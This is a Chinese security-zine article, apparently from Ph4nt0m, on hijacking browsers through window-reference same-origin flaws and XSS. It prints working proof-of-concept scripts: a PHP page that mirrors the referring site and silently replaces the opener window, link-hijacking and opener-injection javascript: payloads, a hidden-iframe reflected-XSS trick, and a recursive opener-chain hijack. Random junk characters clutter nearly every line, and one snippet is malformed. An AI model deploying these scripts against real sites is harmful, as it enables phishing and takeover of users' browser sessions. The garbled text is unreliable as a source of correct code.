==Ph4nt0m Security Team==* v# z' ~' |6 v5 ]: z0 q
9 [9 i6 P. [" T6 y- N, _/ Q$ b
Issue 0x03, Phile #0x05 of 0x07
5 A# O8 e) a2 W2 Z, ^# m * J* n. n6 B. d: r9 X
# l; r5 Q* q, W2 n|=---------------------------------------------------------------------------=|
8 f J0 K1 \. r$ ?" X; m; n|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|9 E) S: \* Z/ v- V0 s
|=---------------------------------------------------------------------------=|" Q& T% { x( x, w. R
|=---------------------------------------------------------------------------=|
" _% i$ q% q. y|=------------------------=[ By rayh4c ]=---------------------------=|
8 ^* q# _* C$ Q/ H8 K# t|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
3 f' q8 x# K# ~|=---------------------------------------------------------------------------=|8 {8 N3 Z9 H1 Y2 m2 u
w' f* x! q/ T7 W4 J
: F2 E* S+ S, r8 ~[目录]( n0 _8 i" R4 E0 b4 O5 C$ {
% ^' z$ e% `6 x2 w; S
1. 前言
$ e9 |+ t7 n4 p7 b2. 同源策略简叙, {' B8 L6 m0 G7 j
3. 理解window对象的同源策略
$ n$ {) C+ W' u2 q0 o7 c4. 窗口引用功能中的同源策略漏洞( K5 z J2 I# o3 O3 q
4.1 父窗口引用子窗口的同源策略问题
& @3 m6 _" h/ ?5 a' S# Y/ ? 4.2 子窗口引用父窗口的同源策略问题# ` P, X, N) `/ e
5. 利用窗口引用漏洞劫持浏览器0 E- [; v- Y. m& {
6. 利用XSS漏洞劫持浏览器
7 S' v3 K) Z0 F; u 6.1 正向跨窗口劫持
8 k- t! V- ]5 } U$ O* [: C 6.2 反向跨窗口劫持
' z7 _& ` Y$ r! d: }$ J7 ~+ U 6.3 极度危险的跨框架窗口引用劫持& k& F; _$ H. V1 A- M" H
6.4 极度危险的正反向跨窗口递归劫持2 Y3 U' x! H5 I# C/ A5 W4 B
6.5 完全控制浏览器/ c4 n' O" r- d; i% a' \ y
7. 后记2 L3 k: @+ a1 \
8. 参考0 S6 m# J! W6 V
. A7 N0 L+ H) H6 f1 M% W% j+ K$ a' P* u6 Z) T# A
一、前言4 k1 [, R# H/ e2 v2 w9 m5 F
9 x E$ f" ^: v5 r, x
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
5 n+ X2 n* H* Z6 z) e# m; S4 T友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session7 @# L5 {9 F" K0 |& `
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
( A. z7 [+ l$ R9 A; f; e! V条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
4 Z% [2 V b+ F
2 W: l6 R: H9 L% V% {, N, W* a) V1 R$ e, @
二、同源策略简叙
! z0 `7 _0 z. T( R4 y8 s+ ~$ a7 O1 W8 s$ | g" f9 T
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以! I5 U5 l: a- |8 p, m# B% @
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
, w: |0 [' f& @6 u: Y d曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木! z' F1 A L- s
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
% v: s7 d6 u# {! m漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
) b+ u+ d* a# w4 R* L
* n0 T6 o3 ?, P# b5 \
" h V) m) b1 H+ P6 U三、理解window对象的同源策略
% \! C" W# H2 V, V) _( v0 L a ?: P! M7 @
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
' w# ^# C& u2 o5 B6 \象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:" V7 L/ g4 F: z1 w! u3 W
4 H$ }" C$ {. X* o--code-------------------------------------------------------------------------
6 T+ e% v; \ K. H1 ?! ^<script language="javascript">
& S' i( h( x% x: ~for(p in window) document.write(p+"<br>");( M. k8 E* Z6 r+ b+ a
</script>
3 x+ [9 f' y( F5 {5 t' e* H-------------------------------------------------------------------------------
5 O( @- o) p, G5 M# M! @ l- }& L
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
, r" Y+ T" v0 X4 ~" `7 _法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,/ G* f) e ^& S" X1 L3 ~
这些属性和方法就必须遵循同源策略。7 ?4 n; i, h9 a
6 t- ~2 m# q3 f: L2 l! n 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那 {! l+ |* m* z* e/ W( G
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
6 `/ y5 a# U& G O的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
$ N2 }' }6 H8 w0 f9 j4 @个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
. H" {0 W" q; _1 c6 `$ g8 I值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
) G4 m+ v$ L( @# Q/ K4 t属性并没有被拒绝访问。' ?( L& b7 _: L0 ?/ c0 B
) v- `/ M. J8 Y9 P6 N--demo.html--------------------------------------------------------------------6 m6 B2 N3 B" c# h6 X! a* z
<script language="javascript"> / ^' ]) _' b @# a8 s
function allPrpos(obj) {
4 ?4 d$ x" T3 [ var props = "<table><tr><td>名称</td><td>值</td>";
4 L8 g& @0 R( H. @9 O" `6 k for(var p in obj){
1 b# i4 V) M0 z7 E if(typeof(obj[p])=="function"){ H8 R) w) H/ ?8 X% `8 i5 u3 f
obj[p]();
& {, Z/ u4 J9 ^7 K: j6 g/ \ }else{
/ n/ [1 y" _% J& x V1 v" A& D try
) p$ W, P( e. j; _" g, U { # c5 Q. `$ ~, ?7 |1 E' O
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
+ W* G; k$ C8 E2 J/ }9 A. }/ p/ \ } 3 S) M, \/ h' }( a, D) n
catch (ex) ! {" @3 f& _# v% B7 w+ q# j6 \; ~& _- x
{ $ ]% x8 H' p) u+ P( F! d5 Z
( N+ L& w8 b2 V props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
8 d4 ^5 u) l6 O- I: c" i$ m }
3 \# @2 T7 Z s" F9 d! z+ }4 l : O- T) }% m" b' C* `2 T
} 6 U- B1 d8 Y7 T% I3 Y+ G
} # w- N$ X- L, ?( p
1 ^* C, ^5 O+ U1 d9 v. U- g, @6 e$ \ document.write(props+"</table>"); % B7 C8 Q( ^5 ^$ V+ f T! d1 L
} % R0 T# h# B% m( d" L9 a+ ^9 z$ E
/ O! {2 c2 l2 z5 o# C" Nfunction createWin() {8 @9 H8 ]- ^1 b
newWin = window.open ("http://www.google.com");
B# W4 Z' C& [" d setTimeout(function(){allPrpos(newWin)},2000);
2 R- }! t/ i$ E}
2 n6 n& f" ^% Q( Y& T* @( \
1 y3 c5 z& f9 h2 z</script>
! O$ [" H- T; S2 |: b' Z7 A: ~. v- G2 c7 P+ s
<button onclick='createWin()'>创建一个非同源子窗口测试</button>! C* J8 w( e; w* p+ b0 e! ]
-------------------------------------------------------------------------------
% G9 t! t7 z( I$ [. Z5 r6 ^6 ]! _( [, X: n& h5 x+ |0 I3 ^1 x% S
2 S( C5 d; ~+ g0 i: C. \2 b& |" ^四、窗口引用功能中的同源策略漏洞4 `5 T1 I7 e# f" U# ^1 S
: }* w2 X& @" r2 u* j4.1 父窗口引用子窗口的同源策略问题
# s( J% X3 c. A+ l
( x. s4 o7 K$ N 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,* A3 h3 L. A1 K0 z- F( c6 q. d5 b) d
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
( {; ?3 Z- n& ]5 q) D+ F浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进4 [- z% r+ Y$ |2 c. O5 B4 E
行测试,会发现父窗口可以控制非同源子窗口location属性值。& u. r& k3 x% C9 d& U5 `9 g
8 u9 p1 f" K j" P: y4 o" ^--vul1.html--------------------------------------------------------------------
% y/ d( c3 ~$ I2 f' Z<script language="javascript">
, ^5 @7 N4 l3 z& }function createWin() { 1 ]; @3 i# ^* W7 r4 h. m: w7 T
newWin = window.open ("http://www.google.com");
' e, c6 P9 A6 P# d( B setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
9 l% d& I# A# g$ ^; M}
; U! ^! ?- g0 ~' ~, D" i8 B; N</script>+ B* D1 a( x8 i: F4 F
# s5 |0 b7 e( p/ P<button onclick='createWin()'>创建一个非同源子窗口测试</button>
) _$ l0 c) K4 C5 i$ C! a" W8 H-------------------------------------------------------------------------------& ^; B5 r, d9 @( a
: E: Q/ p7 A9 L
: C# l) N! m. `( M. z4.2 子窗口引用父窗口的同源策略问题. \5 \* |# ?* a0 V
9 p# ?* q, z, O( V# a; G
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
4 a3 @( P$ Y8 t# s# y用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
: p& t: U3 x: l" q. Q& X$ `( [) A可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
/ l* ~9 x, i4 u5 U! _会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
. ?' M! _4 ^! Z% f
* V# I! c( v1 K! n9 Z--code-------------------------------------------------------------------------
% g1 A5 T: \3 }2 S" o
5 }9 u) K) t6 U2 ajavascript:window.opener.location = "http://www.80sec.com";void(0);( [/ U9 B4 p/ U V
+ M% U f5 J) A
-------------------------------------------------------------------------------. D1 }( m8 H0 a+ G
. ~; @$ x2 g- B8 W* I6 t% {: }! l, \
五、利用窗口引用漏洞劫持浏览器
) R* Y" V7 o2 s3 n& m* E2 [: a% g
- {; K8 Z& H9 L5 G( G 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子 }3 }) Q2 b# a6 H
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那: I/ q" ] c+ o8 w
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
: w2 M! Z' x" P: q6 ~2 ]+ R+ h* j& Q2 m6 ^) }
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产, e6 B) r' r5 G5 E) v
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或' @" Q. b# _1 k [
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
: D$ i9 F; z' M后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
& y5 v( f" ~ j$ ]7 D会产生什么可怕的后果。) H, ~# f) F5 k
' ?' u# h- M9 O) o& ]- e) n: _ 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我1 R/ q4 M. U- w* F$ C
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
6 w @& n: ], ^$ o' T, a这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
0 m! P1 K" s2 q) K5 \候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可! ~7 ]) ~# C9 e: `
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
# S8 d5 d: l3 [1 K1 N; K( f& Y
0 z7 X% ~$ o. j7 N--hjk_ref.php------------------------------------------------------------------8 F8 z# t6 w$ w3 j8 B0 }
<?php" f2 Y9 Z$ J; C3 |! x2 a( \6 p
if (array_key_exists("HTTP_REFERER", $_SERVER)) {+ e/ g+ Q0 c; t1 G
$Url_Mirror = $_SERVER["HTTP_REFERER"];0 F5 P$ B$ [- _- G- k$ [3 Z* q
}
: y) L/ v0 c% ^6 }if(isset ($_GET['ref'])) {
7 R; W; S2 ]# b/ J8 Gecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
1 w$ Y/ e/ f4 p}* |1 Q- \# \6 C r$ A* y$ A' p! a
?>
, M$ I5 e8 q0 |0 @0 _1 ~' W) A; G, C0 y( m! S2 c
<script language="javascript">
0 l f$ d& t/ d4 B% a8 h! asetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); ) k2 Q( @3 c% x0 V
</script>+ P$ B3 L t4 o# I2 W: G. j+ ~# l
-------------------------------------------------------------------------------0 x9 O5 V- p O4 L: T( d. W
% @4 S) V4 C0 `' R5 i" x
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。; I ~) o+ C) ~3 t" l9 m/ F/ M
z9 _* V' s' }# m1 r5 F3 Z6 J3 b2 C
3 [" s# e: X% t! y4 y
六、利用XSS漏洞劫持浏览器
' W ]+ @; u) X4 A5 P, T1 N ?) h9 n
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
. u: L& H& Q2 n7 V& e3 G/ E持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后4 Y+ i7 O h1 `" {2 p
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
/ T8 U0 S$ Y4 p Y- W讨论跨站师的终极技巧:
/ g* E6 [0 l7 V) F* U
* u& @, v# U5 i: @/ F' ], z% k( S [, _4 [
6.1 正向跨窗口劫持5 l' Y: r4 `* P: h Q8 _6 r4 p
: D. K7 i! m, H5 j: |7 p( a 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛( s* |0 G3 O: I1 h' V, }* }
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
. A4 S0 `; P, u6 Z接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话: }3 A5 b- {5 Q: B. E4 s) [
框脚本。 4 L1 y: k7 _/ r0 I
6 H# y2 E; z7 l+ S d A--hijack_open.js---------------------------------------------------------------
, p2 T; W3 @, h7 x' b! A% ^0 ~- p7 ~, e% i3 V
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);5 S; |" M" b) o+ P; ?6 H I
- {2 ?/ @! Y2 x3 [8 s-------------------------------------------------------------------------------) {7 T; _2 G/ S. r. ^
. o& u; F, J' ~! Z! d5 R
/ ?# N* m# M6 c7 S/ t( i
6.2 反向跨窗口劫持9 n! g9 l8 M, {1 \" Z
- ? B( ]* @- r7 C
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代, ^2 C& p2 L4 Z' X: k5 V
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话8 g; r& D+ l, M0 Y. m% k Y. h
框脚本。8 t2 k. y% M1 B x3 d( z
4 T% a% r5 v, e6 G5 _) P
--hijack_opener.js-------------------------------------------------------------" \. V8 l' I9 B
7 D* `; n! W, H4 \5 [5 f8 ajavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);2 A) [0 n, s9 }: O
9 H* q7 l, g( m S
-------------------------------------------------------------------------------. O* R: N2 R& }# _% N5 X
" U5 ~, _* M& \' C% H: c
" q" a6 _3 x/ l+ Z. C2 Q6.3 极度危险的跨框架窗口引用劫持( b( @. Q2 n% L+ K: Y+ h
% u9 n& m2 B; L$ W6 }4 X 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞4 t% k$ P# F+ u& g; J# x/ [
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就& l! M7 v6 G) O* ?0 B
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个& V" J, D( |0 I0 L/ }
非持久型的XSS,如下:
0 V) \, g+ |* t( L; Y
' b3 z5 v" V5 I2 W* s) ^/ z<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>3 R4 `1 l) i \( p! \
$ S4 z: P4 B, `3 @0 [3 V
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
; l+ A! g* `. k5 t8 [8 P1 t注入脚本。( w6 G/ j6 Q! E# _9 q+ f
0 `) F4 @& O2 X3 \$ m' o
--hijack_frame_opener.js-------------------------------------------------------
! n" ~* i, ?6 q: \+ a<script> P: V. U. @; | Z+ u4 u
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
) R* L, {4 U4 @$ f( B- h1 c3 F</script>
/ c5 G( m; _5 i+ w2 B-------------------------------------------------------------------------------0 T; Z! }8 E6 X* P- I3 N
; M, q: c3 p4 c, s% B- j
9 @/ t3 ^9 s L+ {; p" H6.4 极度危险的正反向跨窗口递归劫持. H b* S" d2 O7 d3 {! i
* b. X9 S. J6 D& m: |+ A
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window6 N, u3 B. t! u. I% W4 J
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
6 b) p$ T* q& d异常处理规避之间跨域页面的访问异常,代码如下:
( \/ G4 |, E6 _# ?7 C. N, x! L& T1 t
--code-------------------------------------------------------------------------
6 I, a4 U0 `9 b3 } `7 o4 d" v
$ p8 }' t& N& ajavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
9 o0 G# ?" v" h1 e; O! `0 d! s$ V, D; V- l) h
-------------------------------------------------------------------------------
+ X0 Q6 j( j& ?3 @
( D# Z0 z1 }. J1 `' X9 {- s 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可 u7 L) g! e$ X2 t+ m: K
以劫持B域之前的A域页面,从而实现“隔空打击”。
/ S$ c6 e+ n) @; L, | |; c" P, q# l1 d# z) g' w, j
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
# ` v* h# _- w9 O h( K- Q" i执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
& `# P: v& Z* q. f# }* L2 F6 Q/ N: @2 H8 r& I! H! n9 x1 f4 o
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。, B# {$ B; A" }7 n6 f. l1 e8 L% }
6 w, `* Q" q* R& v0 g! l
( d. y( H- @9 W" s$ r* j6.5 完全控制浏览器. e' {( T$ |2 q5 R5 }6 k) ~
# h* b' M5 s; N8 `+ T 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
; t4 _6 z) Z" D) b% }, ~是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
9 a5 d1 J' Y2 @5 ~: n0 u漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
7 ?% |9 o" C' _2 F" C而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
Y$ R4 N. B7 z% L8 n列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
3 W' W( i% t3 T/ b- L& H师的终极目标 - 完全控制浏览器。. N+ q( b! U9 J# g O9 d5 V
8 m5 H: r j0 Y* \0 U
; D1 x, Z+ ?+ M9 j
七、后记
- F& Z1 M* X0 `# P x& {3 W* P9 N
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全1 i+ @* V" y* n- n
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
6 a' m& Z- d0 z" C7 N' v, a9 X过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。 b, y. M# \6 ^4 O
7 K* ^0 {# {9 n/ w6 \
! p3 I# N8 I' o- ~, O; h0 N1 N八、参考& ?9 C% g+ S4 Y, C4 m% U' k. l
' d' q2 n* ^) |
1. http://en.wikipedia.org/wiki/Same_origin_policy; U9 w9 R1 V X* U
2. http://code.google.com/p/browser ... licy_for_DOM_access
$ ?+ @0 [6 A' U/ A; t9 _3 ?- ?3. http://www.w3.org/TR/Window/0 R/ b( s) R# s0 p$ O+ D
4. http://www.80sec.com/release/browser-hijacking.txt
' h" m' C' L2 q: c! w5. http://www.80sec.com/all-browser-security-alert.html
1 Q1 J5 U8 @( Y7 O) R6. http://www.80sec.com/ms08-058-attacks-google.html
( Q+ Y; ^$ _$ `6 q( r
z) W+ Y+ T1 _3 s. z' \1 k( p-EOF- |